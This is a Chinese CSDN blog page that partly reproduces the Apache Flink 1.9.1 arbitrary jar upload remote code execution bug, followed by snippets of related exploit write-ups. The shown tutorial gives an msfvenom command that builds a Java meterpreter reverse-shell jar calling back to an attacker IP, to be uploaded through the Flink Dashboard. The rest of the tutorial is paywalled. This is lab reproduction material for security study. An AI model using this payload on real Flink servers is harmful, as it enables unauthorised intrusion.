Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

最新推荐文章于 2024-02-23 14:54:58 发布
最新推荐文章于 2024-02-23 14:54:58 发布
阅读量1.9k 收藏
点赞数
分类专栏： CVE 文章标签： 信息安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43650289/article/details/103179227
版权
本文详细介绍了Apache Flink 1.9.1版本的一个严重漏洞，攻击者可通过上传任意jar包实现远程代码执行。通过生成Java反向shell木马，将木马上传至Flink Dashboard并触发执行，成功获取shell。文章还涉及权限维持和信息收集，并提醒用户及时进行漏洞修复，升级至最新版本。
摘要由CSDN通过智能技术生成

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

  • 你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切.

漏洞概述:

攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。

漏洞版本：

至目前最新版本Apache Flink 1.9.1

漏洞复现：

1.测试环境：Flink 1.9.1 java8+
2. 生成远控制木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.224.129 LPORT=8087 -f jar > rce.jar
在这里插入图片描述
3. 将木马传入到Apache Flink里在这里插入图片描述
4.使用

了解本专栏 订阅专栏 解锁全文 超级会员免费看
战神/calmness
关注
专栏目录
订阅专栏
Apache Flink任意JAR包上传漏洞分析与修复指南
weixin_43822401的博客
07-08 587
该漏洞允许未经授权的用户上传JAR文件，这些JAR文件可以在Flink集群上执行，可能导致远程代码执行（RCE）。Apache Flink的任意JAR包上传漏洞是一个严重的安全问题，需要立即采取措施进行修复。通过本文提供的分析和修复指南，可以帮助管理员和开发人员保护他们的Flink集群不受此漏洞的影响。
Apache Flink 任意 JAR 包上传漏洞利用及防范策略
最新发布
weixin_43822401的博客
07-04 895
该漏洞主要影响配置不当的 Apache Flink 集群，允许攻击者通过 Web 界面上传恶意 JAR 包，执行远程代码。Apache Flink 的任意 JAR 包上传漏洞是一个严重的安全隐患，需要立即采取措施进行修复。通过本文提供的分析和防范策略，可以帮助管理员和开发人员保护他们的 Flink 集群不受此漏洞的影响，确保大数据环境的安全性。本文提供的案例和方法仅用于教学目的，实际操作时应确保遵守相关法律法规，不应用于非法侵入或攻击他人系统。
Apache Flink RCE 漏洞复现
weixin_44508748的博客
11-24 734
介绍 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。 测试环境：Flink 1.9.1 java8+。Apache Flink 1.9.1安装包下载 https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1
【漏洞复现】Apache Flink RCE 漏洞复现
weixin_43486390的博客
11-30 551
0x00 简介 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01 漏洞概述 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。 0x02 影响版本 至版本Apache Flink 1.9.1 0x03 环境搭建 目标机：47.56.x.xx（ubuntu）+Flink 1.9.1+jdk8 攻击机：1
Apache Flink RCE漏洞复现(任意 Jar 包上传)
Li-D的博客
08-31 3514
漏洞描述 Apache Flink Dashboard 默认无需认证即可访问，攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。 影响版本 Apache Flink <= 1.9.1 环境搭建 操作系统： Windows10 操作环境： Apache flink 漏洞版本： Apache flink 1.9.1 搭建过程： （1）下载flink (https://archive.apache.org/dist/flink/flink-1.9.
【学习笔记】Apache Flink任意Jar包上传导致RCE
lx_lyt的博客
11-19 636
Apache Flink任意Jar包上传导致RCE 一、简介 Apache Flink是一个用于分布式流和批处理数据的开放源码平台。Flink的核心是一个流数据流引擎，它为数据流上的分布式计算提供数据分发、通信和容错功能。Flink在流引擎之上构建批处理，覆盖本地迭代支持、托管内存和程序优化。近日有安全研究人员发现apache flink允许上传任意的jar包从而导致远程代码执行。 二、影响范围 ...
Apache Flink 任意 Jar 包上传致 RCE 漏洞
m0_48520508的博客
12-03 303
0x00简介 Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01漏洞概述 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的 0x
复现CVE-2020-17518——Apache Flink upload 远程命令执行漏洞
记录并分享学习安全的知识点..
10-01 715
复现CVE-2020-17518——Apache Flink upload 远程命令执行漏洞
Apache Flink 文件上传漏洞 CVE-2020-17518 漏洞复现
Senimo
07-28 1835
Apache Flink 文件上传漏洞 CVE-2020-17518 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。 ApacheFlink 1.5.1 引入了 REST 处理程序，允许您通过恶意修改的 HTTP 头将上载的文件写入本地文件系统上的任意位置。 二、漏洞影响 1.5.1 < ApacheFlink < 1.11.2 三、漏洞复现 1、环境搭建
Apache Flink 文件上传漏洞（CVE-2020-17518）
weixin_53639243的博客
02-23 311
Apache Flink 是一个开源的流处理框架，具有强大的流处理和批处理能力。Apache Flink 1.5.1 引入了一个 REST 处理程序，允许您通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
被动扫描工具（myscan）
lza20001103的博客
08-29 1773
被动扫描工具（myscan） 文章目录被动扫描工具（myscan）前言运行原理演示地址如何运行检测插件优势与不足 前言 myscan是参考awvs的poc目录架构，pocsuite3、sqlmap等代码框架，以及搜集互联网上大量的poc，由python3开发而成的被动扫描工具。 此项目源自个人开发项目，结合个人对web渗透，常见漏洞原理和检测的代码实现，通用poc的搜集，被动扫描器设计，以及信息搜集等思考实践。 运行原理 myscan依赖burpsuite和redis，需启动redis和burpsuite插
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5551
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
Apache Flink任意Jar包上传导致远程代码执行漏洞复现
内心不种满鲜花就会长满杂草
01-08 3543
目录 apache flink 影响范围 站点特点 docker搭建flinkhua环境 漏洞复现 简单的漏洞检测脚本 漏洞利用exp apache flink Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。 2019年11月11号，安全工程师Henry Chen披露了一个Ap...
漏洞复现----13、Apache Flink 文件上传漏洞 (CVE-2020-17518)
七天
11-09 3457
文章目录一、Apache Flink简介二、漏洞简介三、漏洞复现四、上传jar包getshell 一、Apache Flink简介 Apache Flink 是一个框架和分布式处理引擎，用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行，并能以内存速度和任意规模进行计算。Apache Flink 是一个分布式系统，它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器，例如 Hadoop YARN、 Apache Mesos 和 Kubernetes，但
Apache Fink 文件上传漏洞复现及利用
Tauil的博客
07-28 1021
其它不修改，然后点击发送，因为该版本的ApacheFlink中存在有一个目录穿越漏洞，详细内容在。一个数据包，数据包中的文件，右键点击重发，然后可以看到数据包中内容。应该就是文件的名称，其创建文件的路径猜测是其默认文件路径的。boundary是分隔符，不用关注，查看到其。处进行检查或者强制规定的路径，而是使用类似。这样的直接创建文件的命令，我们可以通过修改。，我们可以使用该漏洞查看我们创建的内容。，所以猜测该网页文件地址应该是在。的效果，所以我们修改消息体内容为。查看网络数据包，然后上传任意文件。.....
Apache Flink CVE-2020-17518：远程文件写入漏洞分析
"Apache Flink的CVE-2020-17518是一个严重的安全漏洞，它允许远程攻击者通过REST API进行目录遍历，从而实现任意文件写入。此漏洞影响Apache Flink的1.5.1至1.11.2版本。攻击者可以通过构造特殊的HTTP请求头来将文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

战神/calmness

你的鼓励是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值